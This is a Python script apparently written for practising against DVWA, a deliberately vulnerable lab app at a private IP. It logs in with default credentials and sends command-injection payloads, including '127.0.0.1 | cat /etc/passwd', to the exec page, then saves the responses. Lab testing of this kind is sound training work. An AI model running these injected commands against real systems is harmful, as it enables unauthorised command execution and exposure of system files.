# Import the necessary libraries.
import requests
from urllib.parse import urljoin
from colorama import Fore, Style, init

# Initialise colorama.
init()


# Define the target URL and login credentials.
target_url = "http://192.168.134.129/dvwa/"
login_url = urljoin(target_url, "login.php")
login_data = {
    "username": "admin",
    "password": "password",
    "Login": "Login"
}

# Define the vulnerable page URL.
vuln_page_url = urljoin(target_url, "vulnerabilities/exec/")

# Define the test payloads.
payloads = [
    "ls | whoami",
    "127.0.0.1 | cat /etc/passwd",
    "127.0.0.1 | ls -la"
]

def check_command_injection(base_url, login_url, login_data, vuln_page_url, payloads):
    print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}")

    # Authenticate with the application.
    session = requests.Session()
    response = session.post(login_url, data=login_data)

    if "Login failed" in response.text:
        print("[-] Authentication failed. Please check the credentials.")
        return

    responses = ""

    for payload in payloads:
        # Send the payload through the form.
        form_data = {
            "ip": payload,
            "submit": "Submit"
        }

        try:
            response = session.post(vuln_page_url, data=form_data)
            print(f"{Fore.GREEN}[!] Payload used: {payload}{Style.RESET_ALL}")
            print("[+] Response after command injection:\n")
            print("=" * 80)
            print(response.text)
            print("=" * 80)
            print(f"\n{Fore.YELLOW}[!] Please manually inspect the response to determine if the parameter is vulnerable to command injection.{Style.RESET_ALL}\n")

            responses += f"[!] Payload used: {payload}\n"
            responses += "[+] Response after command injection:\n"
            responses += "=" * 80 + "\n"
            responses += response.text
            responses += "=" * 80 + "\n\n"
        except Exception as e:
            print(f"{Fore.RED}[-] Error occurred while testing payload '{payload}': {e}{Style.RESET_ALL}")
            responses += f"[-] Error occurred while testing payload '{payload}': {e}\n"

    # Write the responses to a text file.
    with open("multiple_payload_response.txt", "w") as f:
        f.write(responses)
    print("[+] Responses written to response.txt")

    print("[+] Command injection testing completed.\n")

# Call the function with the required parameters.
check_command_injection(target_url, login_url, login_data, vuln_page_url, payloads)